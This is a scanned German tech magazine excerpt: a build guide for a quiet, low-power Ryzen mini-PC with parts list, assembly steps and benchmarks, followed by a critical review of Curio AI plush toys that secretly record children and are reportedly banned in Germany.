dard-Kernel 6.8.0.36. Richtig argerlich ist
das Fehlen von Linux-Treibern fiir diese
Kernel-Version fiir die 5G-Realtek-Netz-
werkchips beim Atomman X7. Fiir die al-
teren 6.4er-Kernel gibt es einen passenden
Treiber von Realtek.

Fazit

Unter den sechs Geriten im Test gibt es
keinen, der in allen Belangen die beste
Figur abgibt. Schnell genug fiir den Alltag
der meisten Nutzer sind sie alle. Wer es
ein wenig flinker haben will, sollte einen
Blick auf die Gerite von Asus, Geekom,
Minisforum und auf Zotacs Edge werfen.
Asrock Industrial und Zotacs Nano fallen
in dieser Hinsicht zurlick. Unter Linux
machen das Original in Form des Asus
NUC 14, sowie die NUC BOX 155H am
wenigsten Probleme. Wer eine Rundum-
Sorglos-Losung braucht, mit der er direkt
loslegen kann, sollte sich den Atomman
X7 Ti ansehen, der als einziger Webcam
und Mikrofone fiir Videokonferenzen hat.
Das Front-Display ist eher ein Gimmick,
solange man es nicht frei und auch unter
Linux nutzen kann. Zudem schafft Minis-
forum es, das Gerat unter Dauervolllast
ruhig zu stellen.

Am leisesten ist wenig tiberraschend
die passiv gekiihlte ZBox C1671 Nano, die
aber deutlich weniger Rechenleistung auf
die Strafde bringt, sodass sie sich fiir lange
Renderjobs oder dhnlich aufwendige Ar-
beiten nicht so gut eignet. (csp@ct.de) ¢t
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10-Watt-Mini

Bauvorschlag: Leiser, sparsamer Mini-PC mit Ryzen 5 8600G

Unser PC-Bauvorschlag fiir
einen 10-Watt-Mini mit Sechs-
kernprozessor erledigt Alltags-
aufgaben wie ein GroBer. Dabei
braucht er unter Windows 11
lediglich 10 und unter Ubuntu
Linux gerade einmal 7 Watt.
Damit er schon leise arbeitet,
haben wir einige Tricks ange-
wendet.

Von Christian Hirsch
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MD hat zu Beginn des Jahres die

Ryzen-8000G-Prozessoren mit

niedriger Leistungsaufnahme im
Leerlauf'sowie starker Grafik- und KI-Ein-
heit vorgestellt: perfekte Voraussetzungen
flir einen kompakten, leistungsfiahigen
Mini-PC mit Zen-4-Technik. Mit dem As-
rock DeskMini X600 gibt es jetzt aufder-
dem einen attraktiven Mini-PC-Barebone,
der ohne Chipsatz auskommt und deshalb
den Energiebedarf enorm reduziert.

Aus diesen Zutaten haben wir einen
Bauvorschlag fiir einen Rechner zusam-
mengestellt, der leise und sparsam ist und
tiir gangige Alltagsaufgaben taugt: Surfen,
Mails und Texte schreiben, aber auch fiir
Bildbearbeitung und einfachen Video-
schnitt. Alternativ eignet sich der 10-Watt-

Mini auch als Server, denn er nimmt vier
Massenspeicher auf. Wie immer haben wir
daraufgeachtet, dass erunter Windows und
Linux gleichermafien gut funktioniert.

Moderner Prozessor

Zu den Barebones der Serie DeskMini von
Asrock gibt es in dieser Grofde kaum Alter-
nativen. Im Unterschied zu vielen Mini-PCs
im noch kleineren NUC-Format mit einge-
16teten Mobilprozessoren passen hier Desk-
top-CPUs und mehrere Massenspeicher
hinein. Damit ldsst er sich flexibel und pas-
send zum Einsatzzweck bestiicken. Zudem
bietet Asrock fiir die DeskMinis einiges Zu-
behor wie Leisten fiir zwei weitere USB-
Ports, ein WLAN-Modul mit Antennen und
fiirs Auge eine RGB-LED-Leuchtleiste an.
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Der DeskMini X600 kostet knapp
iiber 200 Euro und ist einer von nur zwei
Barebones fiir die Fassung AM5. Zum Lie-
ferumfang gehort auler dem Gehduse mit
eingebautem Mini-STX-Mainboard auch
ein 19-Volt-Steckernetzteil mit 120 Watt
Leistung. Das reicht flir AM5-Prozessoren
aus, die trotz einer Thermal Design Power
von 65 Watt dauerhaft 88 Watt verheizen
diirfen. Das Netzteil des DeskMini X600
beansprucht erfreulicherweise deutlich
weniger Platz als das der Vorginger.

Die Wahl zwischen einer CPU der Serie
Ryzen 7000 und 8000G fiel uns leicht.
Zwar enthalten beide Serien die fiir das
Barebone notwendige integrierte GPU,
weil der DeskMini keinen Platz fiir eine
Grafikkarte bietet. Die Ryzen 8000G ver-
wenden das in 4-Nanometer-Technik ge-
fertigte monolithische Halbleiter-Die der
Mobilprozessoren Ryzen7000/8000U/H.
Sie schlucken im Leerlauf deshalb rund 10
Watt weniger Energie als die Ryzen 7000.
Letztere bestehen aus mehreren Chiplets
und das in 6-Nanometer-Technik produ-
zierte I/O-Die mit Speichercontroller, GPU
und Schnittstellen ist energiehungriger.

Das liegt unter anderem am verwen-
deten PCI-Express-Root-Hub. Die Ryzen
7000 stellen 28 PCle-5.0-Lanes bereit,
die Ryzen 8000G haben lediglich 20
(Ryzen 5 8600G und Ryzen 7 8700G)
beziehungsweise 14 (Ryzen 5 8500G)
PCle-4.0-Leitungen. Beiunserem Bauvor-
schlag wirkt sich das aber kaum aus, weil
es keinen PEG-Slot fiir Grafikkarten gibt.
Lediglich die M.2-Steckplitze fiir SSDs
sind auf PCle-4.0-Tempo beschrinkt.

Von den dreiim freien Handel erhalt-
lichen Ryzen 8000G haben wir uns fiir
den preislich in der Mitte angesiedelten
Sechskerner Ryzen 58600G fiir 180 Euro
entschieden. Der Ryzen78700G mit acht
Kernen ist uns mit seinem Preis von 270
Euro zu teuer. Dessen GPU ist auf dem
Papier zwar 50 Prozent stirker, allerdings
verpufft die Mehrleistung, sofern man ihn
nicht mit Ubertakter-RAM paart [1]. Der
RAM fillt allerdings unter Overclocking
und erfordert hohere Spannungen, was
dasRisiko von Instabilititen und CPU-De-
fekten birgt [2].

Die 3D-Leistung reicht bei Full-HD-
Auflésung nur fiir dltere 3D-Titel und stark
reduzierte Grafikdetails. Flir Gamer sind
unsere Bauvorschlage mit Grafikkarte wie
der17-Watt-PC oder der Gaming-Allroun-
der deshalb die bessere Wahl. Die integ-
rierte GPU der Ryzen 7000 und 8000G
entlastet die CPU-Kerne bei der Wieder-
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gabe moderner Videoformate wie AV1,
H.265 und VP9.

Der Ryzen 58500G hat wie der Ryzen
5 8600G sechs CPU-Kerne, kostet aber
rund 35 Euro weniger. AMD verwendet fiir
diesenjedochein abgespecktes Halbleiter-
Die. Deshalb fehlt ihm die KI-Einheit und
die integrierte Grafik ist deutlich schwa-
cher. Zudem takten die vier Zen-4c-Kerne
deutlich langsamer, weshalb er fiir den
Bauvorschlag unattraktiv ist.

Leise gekiihlt
Asrock liefert einen kompakten CPU-Kiih-
ler mit, denn selbst der kleinste AMD-Bo-
xed-Kiihler Wraith Stealth passt ohne Mo-
difikationen nicht in den Barebone. Fiir
unsere Anspriiche ist der Kiihler des Desk-
Mini X600 bei 65-Watt-Prozessoren aber
viel zu laut, weshalb wir den Low-Profile-
Kiihler Noctua NH-L9a-AM5 verwenden.
Erist bei einer Hohe von lediglich 37 Mil-
limetern mit einem grof3en, langsam dre-
henden 92-Millimeter-Liifter ausgertistet.
Aber auch damit war uns das System
nochnichtleise genug, weshalb wir zusitz-
lich zwei Dinge gedndert haben. Noctua
bietet fiir den Kiihler ein Luftfithrungsset
aus Schaumstoffteilen unterschiedlicher
Hohe an. Somit kann man den Spalt zwi-
schendem Deckel des DeskMini und dem
CPU-Liifter nahezu schliefden. Das ver-
bessert die Kiihlleistung, weil der Ventila-

tor keine warme Abluft aus dem Gehause,
sondern nur kithle Umgebungsluft durch
die Offnungen im Dach ansaugt.

Die zweite Anderung betrifft den Pro-
zessor, den wir mit 45 statt 65 Watt Thermal
Design Power betreiben, was die reale Ma-
ximalleistungsaufnahme der CPU von 88
aufrund 61 Watt senkt. Diese konfigurier-
bare TDP (cTDP) ist ein offizielles Merkmal
aller Ryzen-8000G-Prozessoren. Dadurch
bleibt der 10-Watt-Mini unter Volllast mit
0,4 sone angenehm leise, weil der Liifter
mit 1500 U/min dreht. Im Leerlauf ist er
mit weniger als 0,1 sone sowieso akustisch
nicht wahrnehmbar (700 U/min). Wer will,
kannden Ryzen58600G auch mit 65 Watt
TDP beziehungsweise 88 Watt Package
Power betreiben. Dann macht sich der Liif-
ter aber beimaximaler Drehzahl von 2500
U/min mit einem 2,2 sone lauten Rauschen
bemerkbar.

Grofde Performancevorteile bringen
65 Watt TDP jedoch nicht: Die Single-
threading-Leistung bleibt gleich. In der
Multithreading-Wertung des Rendering-
Benchmarks Cinebench 2024 biifdt die

CPU bei 45 Watt TDP lediglich sieben Pro-
zent Leistung ein und rechnet somit
immer noch schneller als der Ryzen-Mini
mit dem Achtkerner Ryzen 7 5700G aus
c’t28/2023. Wer aufwendige Projekte wie
lang laufende Renderings, 4K-Video-
schnitt oder grofe Software kompiliert,

Auf der Unterseite bietet das Board einen zweiten M.2-Slot fiir eine SSD.
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fahrt mit dem 17-Watt-PC und Gaming-
Allrounder besser. Beide haben mehr als
30 Prozent mehr Rechenpower und sind
dank grofderem Gehiduse und Erweite-
rungssteckplitzen flexibler.

Beim Arbeitsspeicher sind heutzutage
16 GByte das Minimum. Alle AM5-Pro-
zessoren unterstiitzen ausschliefllich
DDR5-RAM. Wir riisten den 10-Watt-Mi-
ni deshalb mit zwei 8-GByte-SO-DIMMs
von Crucial mit DDR5-5200-Geschwin-
digkeit aus. Das ist das maximale Tempo,
das die AMD Ryzen 7000 und 8000G
unterstitzen.

Wenn Sie mit mehr Arbeitsspeicher,
also 32, 48, 64 oder 96 GByte liebaugeln,
sollten Sie diesen von Anfang an einbauen.
Denn der DiskMini X600 bietet nur zwei
Steckplitze, die man wegen des gleichzei-
tigen Zugriffs von CPU und GPU fiir den
Dual-Channel-Modus beide mit Modulen
gleicher Kapazitit bestiicken sollte. Beim
Aufriisten missen Sie folglich beide SO-
DIMMs ersetzen. Achten Sie bei der Aus-
wahl von alternativem Arbeitsspeicher
darauf, dass folgende Kriterien erfillt
sind: DDR5-5200-Geschwindigkeit, SO-
DIMM-Format, 1,1 Volt Betriebsspannung
und kein XMP- oder EXPO-Profil.

Als Massenspeicher haben wir uns fiir
die Samsung SSD 990 Evo mit 1 TByte ent-
schieden. Sie hatvier PCle-4.0-Lanes und
liest mit einer Geschwindigkeit von rund
5 GByte/s. Andere M.2-SSDs mogen
schneller sein, aber zum einen spiirt man
den Unterschied nicht und zum anderen

10-Watt-Mini: Teile
Komponente | Produkt | Preis |

Prozessor AMD Ryzen 5 8600G 180 €
(100-100001237B0X)
CPU-Kiihler Noctua NH-L9a-AM5 50 €
Luftfihrungsset  Noctua Luftfiihrungsset (NA-FD1) 14 €
PC-Barebone ASRock DeskMini X600 210 €
Speicher 2 % Crucial SO-DIMM 8GB, 56 €
DDR5-5200 (CT8G52C42S5)
SSD Samsung SSD 990 EVO 1TB 85 €
(MZ-VOE1TOBW)
Summe 595 €
(+ Versandkostenpauschale) +20€

RGB-LED- ARGB Strip for DeskMini Series 21 €

Leuchtstreifen (90-BCAOD0-00XAYZ)

USB-2.0-Zusatz- ~ DeskMini USB 2.0 Kabel 9€

ports (5RB000010020)

USB-2.0-Hub DeskMini USB Hub 17€
(90-BCA010-00UAYZ)

WLAN-Adapter  ASRock DeskMini Wi-Fi 6E Kit (AX210) 40 €
(90-BXG3R0-AOXCR2W)

Audio-Buchse ASRock DeskMini Rear Audio Cable 12€
Kit(90-BXG3GO-AOXCR2W)

VESA-Halterung  DeskMini VESA Mount Kit 1€
(5RB000010030)
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kommt sie ohne Kiihlkorper aus, der in
dem engen Gehiuse sonst mit dem CPU-
Kiihler in Konflikt geraten kann.

Aufder Unterseite des Boards konnen
Sie eine zweite, 8 Zentimeter lange M.2-
SSD unterbringen. Wer mehr Speicherka-
pazitat beispielsweise fiir einen Heimserver
benotigt, kann unter den Mainboard-Tra-
ger zwei 2,5-Zoll-Festplatten oder -SSDs
mit SATA-Anschluss schrauben. Die maxi-
male Hohe betragt dabei 9,5 Millimeter,
was die maximale Kapazitit bei Festplatten
auf 2 TByte begrenzt. 2,5-Zoll-SSDs gibt
es inzwischen hingegen mit 8 TByte und
mehr. Der Einbau der Laufwerke ist etwas
umsténdlicher als bei anderen PCs, denn
beim DeskMini muss man filigrane, prop-
rietdre SATA-Stecker am Board anbringen.

Der PC-Barebone stellt trotz der im
Vergleich zu unserem 17-Watt-Bauvor-
schlag winzigen Abmessungen alle gingi-
gen Anschliisse bereit. Uber DisplayPort
2.0und HDMI 2.1 steuert die in den Ryzen
7000 und 8000G integrierte GPU zwei
4K-Displays mit ruckelfreien 60 Hertz an.
Fiir dltere Beamer bringt der 10-Watt-Mi-
ni eine VGA-Buchse mit. An Vorder- und
Riickseite gibt es je zwei USB-Ports mit 5
Gbit/s,davon 1x USB-Cinder Front. Uber
ein optional erhéltliches Kabel lassen sich
zwei weitere USB-2.0-Ports zum Beispiel
fiir Tastatur und Maus vom Board nach
auflen zum Deckel fithren. Beim Netzwerk
bietet der 10-Watt-Mini zeitgemaifdes
2,5-Gbit-Ethernet.

Montageanleitung

Im Vergleich zu klassischen Desktop-PCs
entfallen beim Zusammenbau des
10-Watt-Minis viele Schritte, denn das
Mainboard ist bereits im Gehiause mon-
tiert. Zudem reicht ein Handgriff, um das
externe Netzteil anzuschliefden. Der Ein-
bau der Komponenten erfordert wegen
der geringen Abmessungen aber dennoch
etwas handwerkliches Geschick und fiir
eine bessere Luftfiihrung miissen Sie ein
wenig basteln. Deshalb sollten Sie sich fiir
Zusammenbau und Installation einen
Nachmittag Zeit nehmen.

Die Teileliste der Komponenten steht
nicht nur aufdieser Seite, sondern auch in
elektronischer Form auf unserer Projekt-
seite, die Sie iiber ct.de/ycs3 erreichen.
Dort haben wir auch ein Video vom Zu-
sammenbau, Treiberlinks, BIOS-Einstel-
lungen und den Link zum Leserforum
hinterlegt.

Im ersten Schritt miissen Sie das
DeskMini-Gehéduse offnen. Losen Sie

dazudie vier Schrauben auf'der Riickseite
mit einem Kreuzschlitzschraubendreher,
sodass Sie den Mainboard-Schlitten her-
ausziehen konnen. Im nachsten Schritt
entfernen Sie die beiden schwarzen Plas-
tikstege fiir Kithler mit Klammerhalterung
vom Mainboard, denn der Noctua NH-
L9a-AM5 wird von der Riickseite ver-
schraubt. Offnen Sie anschliefend die
Verriegelung der CPU-Fassung und setzen
Sie vorsichtig den Ryzen-Prozessor ein,
ohne eine der 1718 Federchen zu verbie-
gen. Die Schutzkappe miissen Sie vorher
nicht entfernen, sie springt beim Schlie-
3en des Biigels automatisch ab.

Wir empfehlen, vor der Kiihlermon-
tage die beiden Speichermodule und die
SSDinden M.2-Slot auf der Oberseite ein-
zusetzen. Fiir die SSD liefert Asrock beim
DeskMini X600 eine winzige Befesti-
gungsschraube mit. Falls Sie das optiona-
le WLAN-Kit verwenden wollen, miissen
Sie das Kartchen vor der SSD einsetzen
und die Antennenkabel aufstecken, weil
der Massenspeicher direkt dariiber ange-
bracht ist.

AnschliefSend kommen ein erbsen-
grofier Tropfen Warmeleitpaste und der
CPU-Kiihler auf den Prozessor. Vier In-
busschrauben fixieren den Kiihler von
unten an der Konterplatte des Boards. Den
passenden Inbusschliissel liefert Noctua
mit. Vergessen Sie nicht, das Liifterkabel
an CPU_FANI1 anzuschliefden. Damit ist
dasKiihlsystem aber noch nicht komplett.
Zur besseren Trennung der kithlen An-

10-Watt-Mini: technische
Daten und Tests

Hardware-Ausstattung

Abmessungen 15,5 cm x 8,0 cm X 16,6 cm

M.2-Slots (Typ, frei) 2 x M.2-2280 (PCle 4.0 ¥4, 1),
1x M.2-2230 (USB/PCle, 1)

2% 25" (maximal 9,5 mm Héhe, 2)

1 X HDMI 2.1, 1 X DisplayPort 2.0,
1 X VIGA, 2 X USB-A 5 GBit/s, 1 x LAN

1 X USB-A 5 GBit/s, 1 X USB-C
5 GBit/s, 2 X analog Audio

elektrische Leistungsaufnahme, Datentransfermessungen
unter Windows 11

Soft-off (mit ErP) / 0,7(0,1)/ 1,1 Watt

Einbauschéchte (frei)
Anschliisse hinten

Anschliisse vorn

Energie sparen

Leerlauf 10 (7,4) / 84 Watt
(Ubuntu 24.04) / Volllast

SSD: Lesen / Schreiben 5,0 / 3,7 GByte/s
USB 3.2 Gen 1: Lesen / 416 / 435 MByte/s
Schreiben

LAN: Senden / 297 (298) MByte/s
Empfangen

WLAN 5 / 1587 (118) / 1676 (233) Mbit/s
6 GHz: nah (20 m)

Bootdauer 15s
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Um zu verhindern, dass der CPU-Liifter warme Abluft ansaugt, riisten wir ihn mit einem Luftfiihrungskit von Noctua aus.
Tauschen Sie zunéchst die Liifterschrauben gegen die Bolzen aus. Darauf kommen die Plastikrohrchen und die Schaumstoff-
teile mit drei und vier Millimeter Dicke. Kiirzen Sie zum Schluss die Lange der R6hrchen mit einer Schere.

saug- von der warmen Abluft, packen wir
das Luftfiihrungsset NA-FD1 aufden CPU-
Lifter.

Dazu miissen Sie die vier Befesti-
gungsschrauben des Ventilators nachein-
ander durch die bei dem Kit mitgelieferten
Schraubbolzen ersetzen. Anschliefdend
setzen Sie auf jeden davon ein Plastik-
rohrchen. Aufdiese kommen die Schaum-
stoffteile mit drei und vier Millimeter
Hohe. Damit geht spiter das Gehiduse
noch gerade so zu. Zum Schluss miissen
Sie mit einer Schere die tiberstehenden
Rohrchen abschneiden.

Anschlieflend platziert man das Paket
aus Board und Kiihler wieder auf dem
Schlitten. Falls Sie Extras wie die zusitz-
lichen USB-Ports,den RGB-LED-Leucht-
streifen oder die zweite Audio-Buchse
montieren wollen, ist jetzt der richtige
Zeitpunkt. Schieben Sie den Board-Trager
wieder ins Gehause und schrauben Sie es
Zu.

Upgrade-Tipps

Bevor Sie Thr Wunschbetriebssystem in-
stallieren, sollten Sie zundchst das BIOS
aufdenneuesten Stand bringen. Den Link
zur aktuellen Version 2.01finden Sie eben-

so wie die Windows-11-Treiber fiir Chip-
satz, Grafikund Audio aufunserer Projekt-
seite iiber ct.de/ycs3. Nehmen Sie dafiir
einen leeren, mit FAT-32-formatierten
USB-3.0-Stick und kopieren Sie die .rom-
Dateidarauf. Im BIOS-Setup rufen Sie an-
schlieend unter Tool ,,Instant Flash“ auf.
Nach der Bestitigung startet der Rechner
neu und beginnt automatisch den Flash-
Vorgang.

Fiir den DeskMini X600 bietet Asrock
eine grofde Palette an Extras an, womit Sie
denRechenzwerg besser an Thre Anforde-
rungen anpassen konnen. Wohl am inter-
essantesten ist das WLAN-Kit nach Wi-
Fi-6E-Standard, um den 10-Watt-Mini
drahtlos ins Netzwerk einzubinden. Es
besteht aus einem M.2-Kartchen mit dem
Intel-Chip AX210 sowie passenden Ka-
beln zu den Antennenbuchsen und zwei
Antennen. Das WLAN-Kértchen im M.2-
2230-Format kommt in den Steckplatz,
der direkt unter der System-SSD sitzt.
Beim Nachriisten miissen Sie diese also
voriibergehend ausbauen.

Zudem gibt es am DeskMini X600
Aussparungen flir weitere Anschliisse. Auf
der Riickseite konnen Sie eine 3,5-mm-Au-
dioklinkenbuchse nachriisten und auf der

Oberseite zwei USB-2.0-Ports. Ein richti-
ger Hinguckerist das RGB-LED-Kit. Dabei
handelt es sich um eine intern per USB-
Pfostenstecker angebundene Leuchtleiste,
die sich magnetisch im Gehéuse unterbrin-
genlasst. Mochte man die RGB-Leiste und
die Zusatz-USB-Ports gleichzeitig verwen-
den, muss man den internen USB-Hub
mitbestellen. Soll der Mini-PC nicht auf
dem Schreibtisch stehen, kann man ihn
iiber die zusitzliche VESA-Halterung ent-
weder hinter kompatible Monitore schrau-
ben oder ihn an der Wand beziehungswei-
se unter der Tischplatte anbringen.
Unabhingig davon, ob Sie den
10-Watt-Mini als Office-Zwerg oder spar-
samen Heimserver verwenden, wiinschen
wir Thnen viel Spal damit. Uber Feedback
freuen wir uns sehr. (chh@ct.de) ¢t

Literatur

[1] Christian Hirsch, Produkt sucht Nische, AMD
Ryzen 7 8700G und Ryzen 5 8600G mit starker
Grafik, c't 5/2024, S. 94

[2] Christian Hirsch, Uberreizt, Defekte Ryzen-
7000-Prozessoren durch Ubertakterspeicher,
c't13/2023, S. 29

Projektseite mit Video: ct.de/ycs3

10-Watt-Mini: Benchmarks und Messwerte unter Windows 11

Cinebench 2024 1T

Cinebench 2024 MT

PCMark 10 3DMark Time Spy

Gerauschentwicklung

Leistungsaufnahme Leerlauf / Volllast / Peak

[Punkte]
besser >

[Punkte]

besser

[Punkte]

besser >

[Punkte]

besser p> <« besser

Leerlauf / Volllast [sone]

[Watt]
<« besser

10-Watt-Mini 17/2024 I 105 734 I 7100 W 2278 I <0,1/0,4 I 10/84/84

17-Watt-PC 8/2024 I (15 N 062 I (227 1952 I (,2/0,2 S 17/105/226
Ryzen-Mini ¢'t 28/2023 I 01 I 716 I 6693 11355 I <0,1/0,5  E—— 10/122/122

Gaming-Allrounder c't 28/2023 I 117 NN 1031 N 70 NN 16094 - <(0,1/0,4 I 43/319/319
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Test & Beratung | KI-Spielzeug

Wanze im
Pluschtierpelz

KI-Spielzeug mit Sprachmodell von Curio
im Test

Der KlI-Hype treibt sonderbare
Bliiten: Pliischtiere des US-Her-
stellers Curio unterhalten sich
per Sprachmodell mit Kindern
und zeichnen die Gesprache auf.
Besitz und Verkauf sind in
Deutschland wohl verboten.

Von Hartmut Gieselmann

urz vor Weihnachten kiindigte das

Start-up Curio aus dem Silicon Valley
drei neue KI-Spielzeuge an. Die Pliisch-
tiere Grok, Grem und Gabbo richten sich
an Kleinkinder ab drei Jahren und unter-
halten sich mit ihnen mithilfe von Sprach-
modellen. Wir waren neugierig und be-
stellten prompt eines der ersten Modelle
aus den USA fiir 99 US-Dollar plus Steu-
ern. Rund ein halbes Jahr spater kam
Gabbo endlich in der Redaktion an.

Im Inneren der Plischtiere verbirgt
sich eine sogenannte Voice Box. Diese

68

zeichnet iiber ein Mikrofon Gespriche und
Anfragen aufund leitet sie per WLAN mit
Internetverbindung an die Curio-Server
in Microsofts Azure-Cloud weiter. Die dort
gehostete Software transkribiert die Au-
dioaufnahme und tbergibt sie an ein
Sprachmodell. Dieses generiert eine Ant-
wort, die sie an das Stofftier zurlicksendet.
Die Kinder horen die gesprochene Ant-
wort liber einen eingebauten Lautspre-
cher. Schon nach kurzer Zeit raubte uns
die vollig tiberdrehte, extrem schnell und
mit hoher Stimme sprechende Computer-
stimme namens ,,Flying Squirrel“ den
letzten Nerv.

Versteckte Elektronik

Von aufden ist den Pliischtieren mit ihren
drolligen grofden Augen nicht anzusehen,
dass sich im Inneren eine Voice Box zur
Aufzeichnung von Gesprachen befindet.
Um die Box ein- und auszuschalten und
die anfangs schmerzhaft hohe Lautstirke
iiber Tasten zu reduzieren, muss man
einen dlinnen Reifdverschluss auf der
Riickseite des Spielzeugs 6ffnen. Danach
kann man den Elektronikwiirfel komplett

herausnehmen und das Pliischtier von
Hand waschen (nicht schleudern, nicht
trocknen).

Um die Voice Box zu konfigurieren,
muss man die zugehorige Curio-App he-
runterladen. Obwohl die Pliischtiere be-
reits offiziell verkauft werden, befindet
sichdie Appnochim Beta-Stadium. Sie ist
nicht in den App-Stores erhiltlich und
muss liber eine APK-Datei fiir Android
oder das Entwicklertool Testflight fiir iOS
geladen werden.

Nach der Registrierung und dem
Download des Firmware-Updates kann
der Nutzer zwischen vier verschiedenen
Sprachmodellen wahlen. Das voreinge-
stellte Modell namens Orbit wird als ,,ex-
perimental“ beschrieben. Es ist laut
Selbstdarstellung besonders neugierig.
Alternativ kann man auf das noch ge-
schwitzigere Jetpack, das angeblich
schneller reagierende Syrup oder das
»ausgewogene' Vanillaumschalten. Fragt
man die Modelle nach ihren Eigenschaf-
ten und Trainingsdaten, erhdlt man
nichtssagende Antworten wie: ,,Ichwurde
mit Spielzeug-Raketentechnik trainiert.”
Auch sonst geben die Modelle keine rele-
vanten Informationen iiber sich preis,
etwa mit welchen Daten sie trainiert wur-
den oder wie aktuell diese sind.

Eltern lesen Transkripte

Beim ersten Kontakt fragt Orbit das Kind
nach Namen, Alter, Spielsachen und Inte-
ressen. Die App fasst die Informationen in
einer kurzen Textbeschreibung unter
»Prompts zusammen und erlaubt es,
diese zubearbeiten. Beiunpassenden oder
ausweichenden Antworten wiederholt das
Modell seine Fragen so lange, bis es alle
Informationen gesammelt hat.

Im weiteren Gesprachsverlaufginges
um die Vorlieben des Kindes, beispiels-
weise welche Musikinstrumente es spielt
oder mag. Nach einer halben Stunde er-
innerte sich das Modell nicht mehr an die
Antworten. Immerhin: Auf die Bitte, einen
Text fiir ein Lied zu verfassen, sagte es
munter ein paar selbstgedichtete Strophen
auf. Von ,,American Pie" zitierte esnur den
Refrain, da es ihm nicht erlaubt sei, urhe-
berrechtlich geschiitzte Stiicke komplett
wiederzugeben.

Im Test verhielten sich die Sprachmo-
delle inkonsistent: Mal waren fliissige
Dialoge moglich, mal reagierten sie auch
auf mehrmaliges Nachfragen nicht, ver-
standen nur die Halfte oder gaben zusam-
menhanglose Antworten. Im Unterschied
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zubekannten Sprachassistenten wie Alexa
oder Siri wartete Gabbo nicht auf ein Ak-
tivierungswort. Fiir das Spielzeug machte
es keinen Unterschied, ob es tatsachlich
angesprochen wurde oder ob sich Perso-
nen im Raum miteinander unterhielten.
Auch diese Gesprache wurden teilweise
unvollstindig transkribiert und Gabbo
plapperte dazwischen. Beider Frage nach
einer Standby-Funktion schaltete sich das
Geritreproduzierbar ab-ohne dasswir es
explizit dazu aufgefordert hatten. Um es
wieder aufzuwecken, muss man eine Taste
ander Box driicken, per Sprachbefehl oder
App geht das nicht.

Das Modell horte die Umgebung un-
bemerkt ab, auch wihrend wir still waren.
Als die Onlineverbindung abbrach, re-
agierte esiiberhaupt nicht mehr und muss-
te neu gestartet werden. Die Laufzeit des
internen Akkus (9,25 Wattstunden) gibt
der Hersteller mit etwa ein bis zwei Tagen
an. Im Test sank der Akkustand um etwa
zehn Prozent pro Stunde. Nachgeladen
wird per USB-C.

Audiodatenl6scht Curionach eigenen
Angaben direkt nach der Transkription.
Die Protokolle bleiben 90 Tage gespei-
chert. Ein Filter16scht ,,anstoRige Worter,
die sexuelle oder gewalttitige Bedeutun-
gen haben konnten, und setzt stattdessen
Sternchen in das Transkript.

Verbot in Deutschland

Die Sprachmodelle konnen zwar auch
deutsche Sétze formulieren, die Sprach-
ausgabe gibt diese aber nur mit starkem
amerikanischem Akzent wieder. Generell
kann man sich mit den Spielzeugen nicht
auf Deutsch unterhalten, da die Transkrip-
tionssoftware alles Gesprochene als eng-
lische Worter interpretiert. Im Hinter-
grund findet somit keine Ubersetzung
statt, sondern eine Fehlinterpretation.
Bisher verkauft Curio seine Pliischtie-
reinden USA, Kanadaund Australien. Laut
Verpackungist offenbar ein weltweiter Ver-
trieb geplant-auch nach Deutschland. Zu-
mindest ist auflen bereits auf Deutsch zu
lesen: ,, Achtung Kleinteile. Erstickungsge-
fahr. Lange Schnur. Strangulationsgefahr.
Die lange Schnur haben wir in der Verpa-
ckung allerdings nicht gefunden.
Trotzdem wird es wohl nichts mit dem
Vertrieb in Deutschland. Denn laut § 8
Abs. 1des Gesetzes iiber den Datenschutz
und den Schutz der Privatsphire in der
Telekommunikation und bei digitalen
Diensten (TDDDG) ist es verboten, Tele-
kommunikationsanlagen zu besitzen oder
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Just before the story, tell me one
unigue thing about you. It's like
unlocking the next level in a game!
Then, right onto the story!

I'm curious about Al

Awesome! Curiosity about Alisa
cool unique fact! Let me make sure
| got everything right: You love
learning about the Internet and Al,
you have another cool toy, and
you're curious about Al. So your
name is spelled... Could you help
me spell it out?

GABBO

Got it, but wait, let's spell that

R e e S e S e e e

Als erstes sammelt die KI Informationen
tiber das Kind, um einen Prompt-Zusatz
fur die weiteren Gesprache zu generie-
ren.

in Verkehr zu bringen, die als Gegenstan-
de destaglichen Gebrauchsverkleidet und
in besonderer Weise geeignet sind, das
Bild oder dasnicht 6ffentlich gesprochene
Wort eines anderen von diesem unbe-
merkt aufzunehmen oder abzuhoren.
AufNachfrage teilte uns die zustandi-
ge Bundesnetzagentur mit: ,,Nach Ansicht
der Bundesnetzagentur handelt es sich bei
dem smarten Spielzeug Grok des Herstel-
lers Curio um ein funkfihiges Spielzeug,
mit welchem eine heimliche Tonaufnah-
me moglich ist. Da das Spielzeug laut c’t
die Umgebung unbemerkt abhort, istesin
seiner derzeitigen Form nicht mit § 8 Abs.
1 TDDDG vereinbar. Das bedeutet, dass
in Deutschland der Besitzund der Vertrieb
nicht gestattet sind.“ Das gilt auch fiir erste
Grauimporte von Curio-Pliischtieren. Sie
werden hierzulande bereits in Kleinanzei-
gen im Internet angeboten. Wenn die Be-
horde keine Ausnahmegenehmigung im
Einzelfall erteilt (siche § 8 Abs. 4 und 5
TDDDG), miissen die Gerite zerstort oder
zumindest unbrauchbar gemacht werden.

Verbundene Werbeplattformen
Curio ist nicht der einzige Hersteller, der
Spielzeug mit KI-Funktionen auf den deut-
schen Markt bringen will. Die Bundesnetz-
agentur warnt seit Jahren vor smartem
Spielzeug, das heimliche Uberwachung
ermoglicht. 2017 hat sie zum Beispiel aus
dem gleichen Grund die Puppe ,,My Friend
Cayla“ verboten, die ebenfalls Fragen von
Kindern aufzeichnete, in die Cloud schick-
te und Antworten generierte.

Kl-Spielzeug | Test & Beratung

Doch selbst wenn die Gerite mitroten
Limpchen und Alarmténen anzeigen wiir-
den, dass eine Aufnahme im Gange ist, ver-
schleiern die Hersteller im Kleingedruck-
ten, dass sie eine Vielzahl von Daten und
Informationen iiber ihre Kinder sammeln
und sie an Werbevermarkter weitergeben.

Curio arbeitet beispielsweise mit
SuperAwesome zusammen, einem Toch-
terunternehmen des Fortnite-Herstellers
Epic Games. Das Unternehmen gibt vor,
sichere Communities fiir Kinder und Ju-
gendliche zu fordern und zu betreiben.
Unter dem Deckmantel des Jugendschut-
zes sammelt es Daten, um Kindern und
Jugendlichen maf3geschneiderte Werbung
anzuzeigen und sie zu In-Game-Kéufen zu
verleiten. Zu seinen Kunden zahlt Super-
Awesome mehr als 300 Unternehmen,
darunter Nike, Netflix, Hasbro, Nickel-
odeon, Mattel und Kellogs.

Fazit

Die bis auf'die Pliischhiille technisch iden-
tischen KI-Spielzeuge von Curio sind aus
